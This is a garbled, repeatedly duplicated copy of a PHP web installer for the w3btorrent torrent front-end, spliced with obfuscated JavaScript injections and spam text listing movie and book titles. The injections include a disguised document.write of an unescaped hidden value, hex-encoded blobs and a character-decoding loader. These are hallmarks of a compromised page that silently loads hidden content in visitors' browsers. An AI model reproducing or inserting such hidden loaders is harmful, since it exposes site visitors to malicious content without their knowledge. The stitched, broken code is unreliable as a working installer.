$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['webuser']." ".
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
POST['url']) && !$error = $install->download_archive(
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
